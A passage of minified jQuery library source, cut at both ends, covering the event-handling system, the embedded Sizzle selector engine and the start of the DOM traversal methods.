f)Z.event.remove(e,s+t[o],n,i,!0);Z.isEmptyObject(f)&&(delete g.handle,Z.removeData(e,"events",!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(n,i,r,o){if(!r||3!==r.nodeType&&8!==r.nodeType){var a,s,l,c,u,d,f,p,h,m,g=n.type||n,y=[];if(De.test(g+Z.event.triggered))return;if(g.indexOf("!")>=0&&(g=g.slice(0,-1),s=!0),g.indexOf(".")>=0&&(g=(y=g.split(".")).shift(),y.sort()),(!r||Z.event.customEvent[g])&&!Z.event.global[g])return;if((n="object"==typeof n?n[Z.expando]?n:new Z.Event(g,n):new Z.Event(g)).type=g,n.isTrigger=!0,n.exclusive=s,n.namespace=y.join("."),n.namespace_re=n.namespace?new RegExp("(^|\\.)"+y.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,d=g.indexOf(":")<0?"on"+g:"",!r){for(l in a=Z.cache)a[l].events&&a[l].events[g]&&Z.event.trigger(n,i,a[l].handle.elem,!0);return}if(n.result=t,n.target||(n.target=r),(i=null!=i?Z.makeArray(i):[]).unshift(n),(f=Z.event.special[g]||{}).trigger&&!1===f.trigger.apply(r,i))return;if(h=[[r,f.bindType||g]],!o&&!f.noBubble&&!Z.isWindow(r)){for(m=f.delegateType||g,c=De.test(m+g)?r:r.parentNode,u=r;c;c=c.parentNode)h.push([c,m]),u=c;u===(r.ownerDocument||U)&&h.push([u.defaultView||u.parentWindow||e,m])}for(l=0;l<h.length&&!n.isPropagationStopped();l++)c=h[l][0],n.type=h[l][1],(p=(Z._data(c,"events")||{})[n.type]&&Z._data(c,"handle"))&&p.apply(c,i),(p=d&&c[d])&&Z.acceptData(c)&&!1===p.apply(c,i)&&n.preventDefault();return n.type=g,!o&&!n.isDefaultPrevented()&&(!f._default||!1===f._default.apply(r.ownerDocument,i))&&("click"!==g||!Z.nodeName(r,"a"))&&Z.acceptData(r)&&d&&r[g]&&("focus"!==g&&"blur"!==g||0!==n.target.offsetWidth)&&!Z.isWindow(r)&&((u=r[d])&&(r[d]=null),Z.event.triggered=g,r[g](),Z.event.triggered=t,u&&(r[d]=u)),n.result}},dispatch:function(n){n=Z.event.fix(n||e.event);var i,r,o,a,s,l,c,u,d,f=(Z._data(this,"events")||{})[n.type]||[],p=f.delegateCount,h=[].slice.call(arguments),m=!n.exclusive&&!n.namespace,g=Z.event.special[n.type]||{},y=[];if(h[0]=n,n.delegateTarget=this,!g.preDispatch||!1!==g.preDispatch.call(this,n)){if(p&&(!n.button||"click"!==n.type))for(o=n.target;o!=this;o=o.parentNode||this)if(!0!==o.disabled||"click"!==n.type){for(s={},c=[],i=0;i<p;i++)s[d=(u=f[i]).selector]===t&&(s[d]=Z(d,this).index(o)>=0),s[d]&&c.push(u);c.length&&y.push({elem:o,matches:c})}for(f.length>p&&y.push({elem:this,matches:f.slice(p)}),i=0;i<y.length&&!n.isPropagationStopped();i++)for(l=y[i],n.currentTarget=l.elem,r=0;r<l.matches.length&&!n.isImmediatePropagationStopped();r++)u=l.matches[r],(m||!n.namespace&&!u.namespace||n.namespace_re&&n.namespace_re.test(u.namespace))&&(n.data=u.data,n.handleObj=u,(a=((Z.event.special[u.origType]||{}).handle||u.handler).apply(l.elem,h))!==t&&(n.result=a,!1===a&&(n.preventDefault(),n.stopPropagation())));return g.postDispatch&&g.postDispatch.call(this,n),n.result}},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var i,r,o,a=n.button,s=n.fromElement;return null==e.pageX&&null!=n.clientX&&(r=(i=e.target.ownerDocument||U).documentElement,o=i.body,e.pageX=n.clientX+(r&&r.scrollLeft||o&&o.scrollLeft||0)-(r&&r.clientLeft||o&&o.clientLeft||0),e.pageY=n.clientY+(r&&r.scrollTop||o&&o.scrollTop||0)-(r&&r.clientTop||o&&o.clientTop||0)),!e.relatedTarget&&s&&(e.relatedTarget=s===e.target?n.toElement:s),!e.which&&a!==t&&(e.which=1&a?1:2&a?3:4&a?2:0),e}},fix:function(e){if(e[Z.expando])return e;var t,n,i=e,r=Z.event.fixHooks[e.type]||{},o=r.props?this.props.concat(r.props):this.props;for(e=Z.Event(i),t=o.length;t;)e[n=o[--t]]=i[n];return e.target||(e.target=i.srcElement||U),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,r.filter?r.filter(e,i):e},special:{load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(e,t,n){Z.isWindow(this)&&(this.onbeforeunload=n)},teardown:function(e,t){this.onbeforeunload===t&&(this.onbeforeunload=null)}}},simulate:function(e,t,n,i){var r=Z.extend(new Z.Event,n,{type:e,isSimulated:!0,originalEvent:{}});i?Z.event.trigger(r,null,t):Z.event.dispatch.call(t,r),r.isDefaultPrevented()&&n.preventDefault()}},Z.event.handle=Z.event.dispatch,Z.removeEvent=U.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var i="on"+t;e.detachEvent&&("undefined"==typeof e[i]&&(e[i]=null),e.detachEvent(i,n))},Z.Event=function(e,t){if(!(this instanceof Z.Event))return new Z.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||!1===e.returnValue||e.getPreventDefault&&e.getPreventDefault()?a:o):this.type=e,t&&Z.extend(this,t),this.timeStamp=e&&e.timeStamp||Z.now(),this[Z.expando]=!0},Z.Event.prototype={preventDefault:function(){this.isDefaultPrevented=a;var e=this.originalEvent;e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=a;var e=this.originalEvent;e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=a,this.stopPropagation()},isDefaultPrevented:o,isPropagationStopped:o,isImmediatePropagationStopped:o},Z.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){Z.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,i=this,r=e.relatedTarget,o=e.handleObj;o.selector;return r&&(r===i||Z.contains(i,r))||(e.type=o.origType,n=o.handler.apply(this,arguments),e.type=t),n}}}),Z.support.submitBubbles||(Z.event.special.submit={setup:function(){if(Z.nodeName(this,"form"))return!1;Z.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,i=Z.nodeName(n,"input")||Z.nodeName(n,"button")?n.form:t;i&&!Z._data(i,"_submit_attached")&&(Z.event.add(i,"submit._submit",function(e){e._submit_bubble=!0}),Z._data(i,"_submit_attached",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&Z.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){if(Z.nodeName(this,"form"))return!1;Z.event.remove(this,"._submit")}}),Z.support.changeBubbles||(Z.event.special.change={setup:function(){if(Ee.test(this.nodeName))return"checkbox"!==this.type&&"radio"!==this.type||(Z.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),Z.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),Z.event.simulate("change",this,e,!0)})),!1;Z.event.add(this,"beforeactivate._change",function(e){var t=e.target;Ee.test(t.nodeName)&&!Z._data(t,"_change_attached")&&(Z.event.add(t,"change._change",function(e){this.parentNode&&!e.isSimulated&&!e.isTrigger&&Z.event.simulate("change",this.parentNode,e,!0)}),Z._data(t,"_change_attached",!0))})},handle:function(e){var t=e.target;if(this!==t||e.isSimulated||e.isTrigger||"radio"!==t.type&&"checkbox"!==t.type)return e.handleObj.handler.apply(this,arguments)},teardown:function(){return Z.event.remove(this,"._change"),!Ee.test(this.nodeName)}}),Z.support.focusinBubbles||Z.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,i=function(e){Z.event.simulate(t,e.target,Z.event.fix(e),!0)};Z.event.special[t]={setup:function(){0==n++&&U.addEventListener(e,i,!0)},teardown:function(){0==--n&&U.removeEventListener(e,i,!0)}}}),Z.fn.extend({on:function(e,n,i,r,a){var s,l;if("object"==typeof e){for(l in"string"!=typeof n&&(i=i||n,n=t),e)this.on(l,n,i,e[l],a);return this}if(null==i&&null==r?(r=n,i=n=t):null==r&&("string"==typeof n?(r=i,i=t):(r=i,i=n,n=t)),!1===r)r=o;else if(!r)return this;return 1===a&&(s=r,(r=function(e){return Z().off(e),s.apply(this,arguments)}).guid=s.guid||(s.guid=Z.guid++)),this.each(function(){Z.event.add(this,e,r,i,n)})},one:function(e,t,n,i){return this.on(e,t,n,i,1)},off:function(e,n,i){var r,a;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,Z(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(a in e)this.off(a,n,e[a]);return this}return!1!==n&&"function"!=typeof n||(i=n,n=t),!1===i&&(i=o),this.each(function(){Z.event.remove(this,e,i,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},live:function(e,t,n){return Z(this.context).on(e,this.selector,t,n),this},die:function(e,t){return Z(this.context).off(e,this.selector||"**",t),this},delegate:function(e,t,n,i){return this.on(t,e,n,i)},undelegate:function(e,t,n){return 1==arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},trigger:function(e,t){return this.each(function(){Z.event.trigger(e,t,this)})},triggerHandler:function(e,t){if(this[0])return Z.event.trigger(e,t,this[0],!0)},toggle:function(e){var t=arguments,n=e.guid||Z.guid++,i=0,r=function(n){var r=(Z._data(this,"lastToggle"+e.guid)||0)%i;return Z._data(this,"lastToggle"+e.guid,r+1),n.preventDefault(),t[r].apply(this,arguments)||!1};for(r.guid=n;i<t.length;)t[i++].guid=n;return this.click(r)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),Z.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){Z.fn[t]=function(e,n){return null==n&&(n=e,e=null),arguments.length>0?this.on(t,null,e,n):this.trigger(t)},Me.test(t)&&(Z.event.fixHooks[t]=Z.event.keyHooks),Pe.test(t)&&(Z.event.fixHooks[t]=Z.event.mouseHooks)}),function(e,t){function n(e,t,n,i){n=n||[];var r,o,a,s,l=(t=t||$).nodeType;if(1!==l&&9!==l)return[];if(!e||"string"!=typeof e)return n;if(!(a=_(t))&&!i&&(r=G.exec(e)))if(s=r[1]){if(9===l){if(!(o=t.getElementById(s))||!o.parentNode)return n;if(o.id===s)return n.push(o),n}else if(t.ownerDocument&&(o=t.ownerDocument.getElementById(s))&&T(t,o)&&o.id===s)return n.push(o),n}else{if(r[2])return D.apply(n,P.call(t.getElementsByTagName(e),0)),n;if((s=r[3])&&ae&&t.getElementsByClassName)return D.apply(n,P.call(t.getElementsByClassName(s),0)),n}return h(e,t,n,i,a)}function i(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function r(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function o(e,t,n){if(e===t)return n;for(var i=e.nextSibling;i;){if(i===t)return-1;i=i.nextSibling}return 1}function a(e,t,i,r){var o,a,s,l,c,u,d,f,p,h=!i&&t!==$,m=(h?"<s>":"")+e.replace(W,"$1<s>"),g=N[E][m];if(g)return r?0:P.call(g,0);for(c=e,u=[],0,f=v.preFilter,p=v.filter;c;){for(l in o&&!(a=z.exec(c))||(a&&(c=c.slice(a[0].length),s.selector=d),u.push(s=[]),d="",h&&(c=" "+c)),o=!1,(a=q.exec(c))&&(d+=a[0],c=c.slice(a[0].length),o=s.push({part:a.pop().replace(W," "),string:a[0],captures:a})),p)(a=te[l].exec(c))&&(!f[l]||(a=f[l](a,t,i)))&&(d+=a[0],c=c.slice(a[0].length),o=s.push({part:l,string:a.shift(),captures:a}));if(!o)break}return d&&(s.selector=d),r?c.length:c?n.error(e):P.call(N(m,u),0)}function s(e,t,n,i){var r=t.dir,o=M++;return e||(e=function(e){ return e===n}),t.first?function(t){for(;t=t[r];)if(1===t.nodeType)return e(t)&&t}:i?function(t){for(;t=t[r];)if(1===t.nodeType&&e(t))return t}:function(t){for(var n,i=o+"."+m,a=i+"."+g;t=t[r];)if(1===t.nodeType){if((n=t[E])===a)return t.sizset;if("string"==typeof n&&0===n.indexOf(i)){if(t.sizset)return t}else{if(t[E]=a,e(t))return t.sizset=!0,t;t.sizset=!1}}}}function l(e,t){return e?function(n){var i=t(n);return i&&e(!0===i?n:i)}:t}function c(e,t,n){for(var i,r,o=0;i=e[o];o++)r=v.relative[i.part]?s(r,v.relative[i.part],t,n):l(r,v.filter[i.part].apply(null,i.captures.concat(t,n)));return r}function u(e){return function(t){for(var n,i=0;n=e[i];i++)if(n(t))return!0;return!1}}function d(e,t,i,r){for(var o=0,a=t.length;o<a;o++)n(e,t[o],i,r)}function f(e,t,i,r,o,a){var s,l=v.setFilters[t.toLowerCase()];return l||n.error(t),(e||!(s=o))&&d(e||"*",r,s=[],o),s.length>0?l(s,i,a):[]}function p(e,i,r,o){for(var a,s,l,c,u,p,h,m,g,y,v,b,_,T=0,w=e.length,S=te.POS,k=new RegExp("^"+S.source+"(?!"+R+")","i"),C=function(){for(var e=1,n=arguments.length-2;e<n;e++)arguments[e]===t&&(g[e]=t)};T<w;T++){for(s="",m=o,l=0,c=(a=e[T]).length;l<c;l++){if(p=(u=a[l]).string,"PSEUDO"===u.part)for(S.exec(""),h=0;g=S.exec(p);)y=!0,(v=S.lastIndex=g.index+g[0].length)>h&&(s+=p.slice(h,g.index),h=v,b=[i],q.test(s)&&(m&&(b=m),m=o),(_=Q.test(s))&&(s=s.slice(0,-5).replace(q,"$&*"),h++),g.length>1&&g[0].replace(k,C),m=f(s,g[1],g[2],b,m,_)),s="";y||(s+=p),y=!1}s?q.test(s)?d(s,m||[i],r,o):n(s,i,r,o?o.concat(m):m):D.apply(r,m)}return 1===w?r:n.uniqueSort(r)}function h(e,t,n,i,r){var o,s,l,c,u,d,f,h,y,b=a(e=e.replace(W,"$1"),t,r),_=t.nodeType;if(te.POS.test(e))return p(b,t,n,i);if(i)o=P.call(i,0);else if(1===b.length){if((u=P.call(b[0],0)).length>2&&"ID"===(d=u[0]).part&&9===_&&!r&&v.relative[u[1].part]){if(!(t=v.find.ID(d.captures[0].replace(ee,""),t,r)[0]))return n;e=e.slice(u.shift().string.length)}for(h=(b=K.exec(u[0].string))&&!b.index&&t.parentNode||t,f="",c=u.length-1;c>=0&&(y=(d=u[c]).part,f=d.string+f,!v.relative[y]);c--)if(v.order.test(y)){if(null==(o=v.find[y](d.captures[0].replace(ee,""),h,r)))continue;(e=e.slice(0,e.length-f.length)+f.replace(te[y],""))||D.apply(n,P.call(o,0));break}}if(e)for(s=w(e,t,r),m=s.dirruns++,null==o&&(o=v.find.TAG("*",K.test(e)&&t.parentNode||t)),c=0;l=o[c];c++)g=s.runs++,s(l)&&n.push(l);return n}var m,g,y,v,b,_,T,w,S,k,C=!0,x="undefined",E=("sizcache"+Math.random()).replace(".",""),$=e.document,A=$.documentElement,M=0,P=[].slice,D=[].push,F=function(e,t){return e[E]=t||!0,e},L=function(){var e={},t=[];return F(function(n,i){return t.push(n)>v.cacheLength&&delete e[t.shift()],e[n]=i},e)},I=L(),N=L(),O=L(),R="[\\x20\\t\\r\\n\\f]",j="(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",V=j.replace("w","w#"),U="\\["+R+"*("+j+")"+R+"*(?:"+"([*^$|!~]?=)"+R+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+V+")|)|)"+R+"*\\]",B=":("+j+")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|([^()[\\]]*|(?:(?:"+U+")|[^:]|\\\\.)*|.*))\\)|)",H=":(nth|eq|gt|lt|first|last|even|odd)(?:\\(((?:-\\d)?\\d*)\\)|)(?=[^-]|$)",W=new RegExp("^"+R+"+|((?:^|[^\\\\])(?:\\\\.)*)"+R+"+$","g"),z=new RegExp("^"+R+"*,"+R+"*"),q=new RegExp("^"+R+"*([\\x20\\t\\r\\n\\f>+~])"+R+"*"),Y=new RegExp(B),G=/^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,K=/[\x20\t\r\n\f]*[+~]/,Q=/:not\($/,J=/h\d/i,X=/input|select|textarea|button/i,ee=/\\(?!\\)/g,te={ID:new RegExp("^#("+j+")"),CLASS:new RegExp("^\\.("+j+")"),NAME:new RegExp("^\\[name=['\"]?("+j+")['\"]?\\]"),TAG:new RegExp("^("+j.replace("w","w*")+")"),ATTR:new RegExp("^"+U),PSEUDO:new RegExp("^"+B),CHILD:new RegExp("^:(only|nth|last|first)-child(?:\\("+R+"*(even|odd|(([+-]|)(\\d*)n|)"+R+"*(?:([+-]|)"+R+"*(\\d+)|))"+R+"*\\)|)","i"),POS:new RegExp(H,"ig"),needsContext:new RegExp("^"+R+"*[>+~]|"+H,"i")},ne=function(e){var t=$.createElement("div");try{return e(t)}catch(m){return!1}finally{t=null}},ie=ne(function(e){return e.appendChild($.createComment("")),!e.getElementsByTagName("*").length}),re=ne(function(e){return e.innerHTML="<a href='#'></a>",e.firstChild&&typeof e.firstChild.getAttribute!==x&&"#"===e.firstChild.getAttribute("href")}),oe=ne(function(e){e.innerHTML="<select></select>";var t=typeof e.lastChild.getAttribute("multiple");return"boolean"!==t&&"string"!==t}),ae=ne(function(e){return e.innerHTML="<div class='hidden e'></div><div class='hidden'></div>",!(!e.getElementsByClassName||!e.getElementsByClassName("e").length)&&(e.lastChild.className="e",2===e.getElementsByClassName("e").length)}),se=ne(function(e){e.id=E+0,e.innerHTML="<a name='"+E+"'></a><div name='"+E+"'></div>",A.insertBefore(e,A.firstChild);var t=$.getElementsByName&&$.getElementsByName(E).length===2+$.getElementsByName(E+0).length;return y=!$.getElementById(E),A.removeChild(e),t});try{P.call(A.childNodes,0)[0].nodeType}catch(Pe){P=function(e){for(var t,n=[];t=this[e];e++)n.push(t);return n}}n.matches=function(e,t){return n(e,null,null,t)},n.matchesSelector=function(e,t){return n(t,null,null,[e]).length>0},b=n.getText=function(e){var t,n="",i=0,r=e.nodeType;if(r){if(1===r||9===r||11===r){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=b(e)}else if(3===r||4===r)return e.nodeValue}else for(;t=e[i];i++)n+=b(t);return n},_=n.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},T=n.contains=A.contains?function(e,t){var n=9===e.nodeType?e.documentElement:e,i=t&&t.parentNode;return e===i||!!(i&&1===i.nodeType&&n.contains&&n.contains(i))}:A.compareDocumentPosition?function(e,t){return t&&!!(16&e.compareDocumentPosition(t))}:function(e,t){for(;t=t.parentNode;)if(t===e)return!0;return!1},n.attr=function(e,t){var n,i=_(e);return i||(t=t.toLowerCase()),v.attrHandle[t]?v.attrHandle[t](e):oe||i?e.getAttribute(t):(n=e.getAttributeNode(t))?"boolean"==typeof e[t]?e[t]?t:null:n.specified?n.value:null:null},v=n.selectors={cacheLength:50,createPseudo:F,match:te,order:new RegExp("ID|TAG"+(se?"|NAME":"")+(ae?"|CLASS":"")),attrHandle:re?{}:{href:function(e){return e.getAttribute("href",2)},type:function(e){return e.getAttribute("type")}},find:{ID:y?function(e,t,n){if(typeof t.getElementById!==x&&!n){var i=t.getElementById(e);return i&&i.parentNode?[i]:[]}}:function(e,n,i){if(typeof n.getElementById!==x&&!i){var r=n.getElementById(e);return r?r.id===e||typeof r.getAttributeNode!==x&&r.getAttributeNode("id").value===e?[r]:t:[]}},TAG:ie?function(e,t){if(typeof t.getElementsByTagName!==x)return t.getElementsByTagName(e)}:function(e,t){var n=t.getElementsByTagName(e);if("*"===e){for(var i,r=[],o=0;i=n[o];o++)1===i.nodeType&&r.push(i);return r}return n},NAME:function(e,t){if(typeof t.getElementsByName!==x)return t.getElementsByName(name)},CLASS:function(e,t,n){if(typeof t.getElementsByClassName!==x&&!n)return t.getElementsByClassName(e)}},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(ee,""),e[3]=(e[4]||e[5]||"").replace(ee,""),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1]?(e[2]||n.error(e[0]),e[3]=+(e[3]?e[4]+(e[5]||1):2*("even"===e[2]||"odd"===e[2])),e[4]=+(e[6]+e[7]||"odd"===e[2])):e[2]&&n.error(e[0]),e},PSEUDO:function(e,t,n){var i,r;return te.CHILD.test(e[0])?null:(e[3]?e[2]=e[3]:(i=e[4])&&(Y.test(i)&&(r=a(i,t,n,!0))&&(r=i.indexOf(")",i.length-r)-i.length)&&(i=i.slice(0,r),e[0]=e[0].slice(0,r)),e[2]=i),e.slice(0,3))}},filter:{ID:y?function(e){return e=e.replace(ee,""),function(t){return t.getAttribute("id")===e}}:function(e){return e=e.replace(ee,""),function(t){var n=typeof t.getAttributeNode!==x&&t.getAttributeNode("id");return n&&n.value===e}},TAG:function(e){return"*"===e?function(){return!0}:(e=e.replace(ee,"").toLowerCase(),function(t){return t.nodeName&&t.nodeName.toLowerCase()===e})},CLASS:function(e){var t=I[E][e];return t||(t=I(e,new RegExp("(^|"+R+")"+e+"("+R+"|$)"))),function(e){return t.test(e.className||typeof e.getAttribute!==x&&e.getAttribute("class")||"")}},ATTR:function(e,t,i){return t?function(r){var o=n.attr(r,e),a=o+"";if(null==o)return"!="===t;switch(t){case"=":return a===i;case"!=":return a!==i;case"^=":return i&&0===a.indexOf(i);case"*=":return i&&a.indexOf(i)>-1;case"$=":return i&&a.substr(a.length-i.length)===i;case"~=":return(" "+a+" ").indexOf(i)>-1;case"|=":return a===i||a.substr(0,i.length+1)===i+"-"}}:function(t){return null!=n.attr(t,e)}},CHILD:function(e,t,n,i){if("nth"===e){var r=M++;return function(e){var t,o,a=0,s=e;if(1===n&&0===i)return!0;if((t=e.parentNode)&&(t[E]!==r||!e.sizset)){for(s=t.firstChild;s&&(1!==s.nodeType||(s.sizset=++a,s!==e));s=s.nextSibling);t[E]=r}return o=e.sizset-i,0===n?0===o:o%n==0&&o/n>=0}}return function(t){var n=t;switch(e){case"only":case"first":for(;n=n.previousSibling;)if(1===n.nodeType)return!1;if("first"===e)return!0;n=t;case"last":for(;n=n.nextSibling;)if(1===n.nodeType)return!1;return!0}}},PSEUDO:function(e,t,i,r){var o,a=v.pseudos[e]||v.pseudos[e.toLowerCase()];return a||n.error("unsupported pseudo: "+e),a[E]?a(t,i,r):a.length>1?(o=[e,e,"",t],function(e){return a(e,0,o)}):a}},pseudos:{not:F(function(e,t,n){var i=w(e.replace(W,"$1"),t,n);return function(e){return!i(e)}}),enabled:function(e){return!1===e.disabled},disabled:function(e){return!0===e.disabled},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},parent:function(e){return!v.pseudos.empty(e)},empty:function(e){var t;for(e=e.firstChild;e;){if(e.nodeName>"@"||3===(t=e.nodeType)||4===t)return!1;e=e.nextSibling}return!0},contains:F(function(e){return function(t){return(t.textContent||t.innerText||b(t)).indexOf(e)>-1}}),has:F(function(e){return function(t){return n(e,t).length>0}}),header:function(e){return J.test(e.nodeName)},text:function(e){var t,n;return"input"===e.nodeName.toLowerCase()&&"text"===(t=e.type)&&(null==(n=e.getAttribute("type"))||n.toLowerCase()===t)},radio:i("radio"),checkbox:i("checkbox"),file:i("file"),password:i("password"),image:i("image"),submit:r("submit"),reset:r("reset"),button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},input:function(e){return X.test(e.nodeName)},focus:function(e){var t=e.ownerDocument;return e===t.activeElement&&(!t.hasFocus||t.hasFocus())&&(!!e.type||!!e.href)},active:function(e){return e===e.ownerDocument.activeElement}},setFilters:{first:function(e,t,n){return n?e.slice(1):[e[0]]},last:function(e,t,n){var i=e.pop();return n?e:[i]},even:function(e,t,n){for(var i=[],r=n?1:0,o=e.length;r<o;r+=2)i.push(e[r]);return i},odd:function(e,t,n){for(var i=[],r=n?0:1,o=e.length;r<o;r+=2)i.push(e[r]);return i},lt:function(e,t,n){return n?e.slice(+t):e.slice(0,+t)},gt:function(e,t,n){return n?e.slice(0,+t+1):e.slice(+t+1)},eq:function(e,t,n){var i=e.splice(+t,1);return n?e:i}}},S=A.compareDocumentPosition?function(e,t){return e===t?(k=!0,0):(e.compareDocumentPosition&&t.compareDocumentPosition?4&e.compareDocumentPosition(t):e.compareDocumentPosition)?-1:1}:function(e,t){if(e===t)return k=!0,0;if(e.sourceIndex&&t.sourceIndex)return e.sourceIndex-t.sourceIndex;var n,i,r=[],a=[],s=e.parentNode,l=t.parentNode,c=s;if(s===l)return o(e,t);if(!s)return-1;if(!l)return 1;for(;c;)r.unshift(c),c=c.parentNode;for(c=l;c;)a.unshift(c),c=c.parentNode;n=r.length,i=a.length;for(var u=0;u<n&&u<i;u++)if(r[u]!==a[u])return o(r[u],a[u]);return u===n?o(e,a[u],-1):o(r[u],t,1)},[0,0].sort(S),C=!k,n.uniqueSort=function(e){var t,n=1;if(k=C,e.sort(S),k)for(;t=e[n];n++)t===e[n-1]&&e.splice(n--,1);return e},n.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},w=n.compile=function(e,t,n){var i,r,o,s=O[E][e];if(s&&s.context===t)return s;for(r=0,o=(i=a(e,t,n)).length;r<o;r++)i[r]=c(i[r],t,n);return(s=O(e,u(i))).context=t,s.runs=s.dirruns=0,s},$.querySelectorAll&&function(){var e,t=h,i=/'|\\/g,r=/\=[\x20\t\r\n\f]*([^'"\]]*)[\x20\t\r\n\f]*\]/g,o=[],s=[":active"],l=A.matchesSelector||A.mozMatchesSelector||A.webkitMatchesSelector||A.oMatchesSelector||A.msMatchesSelector;ne(function(e){e.innerHTML="<select><option selected=''></option></select>",e.querySelectorAll("[selected]").length||o.push("\\["+R+"*(?:checked|disabled|ismap|multiple|readonly|selected|value)"),e.querySelectorAll(":checked").length||o.push(":checked")}),ne(function(e){e.innerHTML="<p test=''></p>",e.querySelectorAll("[test^='']").length&&o.push("[*^$]="+R+"*(?:\"\"|'')"),e.innerHTML="<input type='hidden'/>",e.querySelectorAll(":enabled").length||o.push(":enabled",":disabled")}),o=o.length&&new RegExp(o.join("|")),h=function(e,n,r,s,l){if(!(s||l||o&&o.test(e)))if(9===n.nodeType)try{return D.apply(r,P.call(n.querySelectorAll(e),0)),r}catch(T){}else if(1===n.nodeType&&"object"!==n.nodeName.toLowerCase()){var c,u,d,f=n.getAttribute("id"),p=f||E,h=K.test(e)&&n.parentNode||n;for(f?p=p.replace(i,"\\$&"):n.setAttribute("id",p),p="[id='"+p+"']",u=0,d=(c=a(e,n,l)).length;u<d;u++)c[u]=p+c[u].selector;try{return D.apply(r,P.call(h.querySelectorAll(c.join(",")),0)),r}catch(T){}finally{f||n.removeAttribute("id")}}return t(e,n,r,s,l)},l&&(ne(function(t){e=l.call(t,"div");try{l.call(t,"[test!='']:sizzle"),s.push(te.PSEUDO.source,te.POS.source,"!=")}catch(i){}}),s=new RegExp(s.join("|")),n.matchesSelector=function(t,i){if(i=i.replace(r,"='$1']"),!(_(t)||s.test(i)||o&&o.test(i)))try{var a=l.call(t,i);if(a||e||t.document&&11!==t.document.nodeType)return a}catch(w){}return n(i,null,null,[t]).length>0})}(),v.setFilters.nth=v.setFilters.eq,v.filters=v.pseudos,n.attr=Z.attr,Z.find=n,Z.expr=n.selectors,Z.expr[":"]=Z.expr.pseudos,Z.unique=n.uniqueSort,Z.text=n.getText,Z.isXMLDoc=n.isXML,Z.contains=n.contains}(e);var Le=/Until$/,Ie=/^(?:parents|prev(?:Until|All))/,Ne=/^.[^:#\[\.,]*$/,Oe=Z.expr.match.needsContext,Re={children:!0,contents:!0,next:!0,prev:!0};Z.fn.extend({find:function(e){var t,n,i,r,o,a,s=this;if("string"!=typeof e)return Z(e).filter(function(){for(t=0,n=s.length;t<n;t++)if(Z.contains(s[t],this))return!0});for(a=this.pushStack("","find",e),t=0,n=this.length;t<n;t++)if(i=a.length,Z.find(e,this[t],a),t>0)for(r=i;r<a.length;r++)for(o=0;o<i;o++)if(a[o]===a[r]){a.splice(r--,1);break}return a},has:function(e){var t,n=Z(e,this),i=n.length;return this.filter(function(){for(t=0;t<i;t++)if(Z.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(c(this,e,!1),"not",e)},filter:function(e){return this.pushStack(c(this,e,!0),"filter",e)},is:function(e){return!!e&&("string"==typeof e?Oe.test(e)?Z(e,this.context).index(this[0])>=0:Z.filter(e,this).length>0:this.filter(e).length>0)},closest:function(e,t){for(var n,i=0,r=this.length,o=[],a=Oe.test(e)||"string"!=typeof e?Z(e,t||this.context):0;i<r;i++)for(n=this[i];n&&n.ownerDocument&&n!==t&&11!==n.nodeType;){if(a?a.index(n)>-1:Z.find.matchesSelector(n,e)){o.push(n);break}n=n.parentNode}return 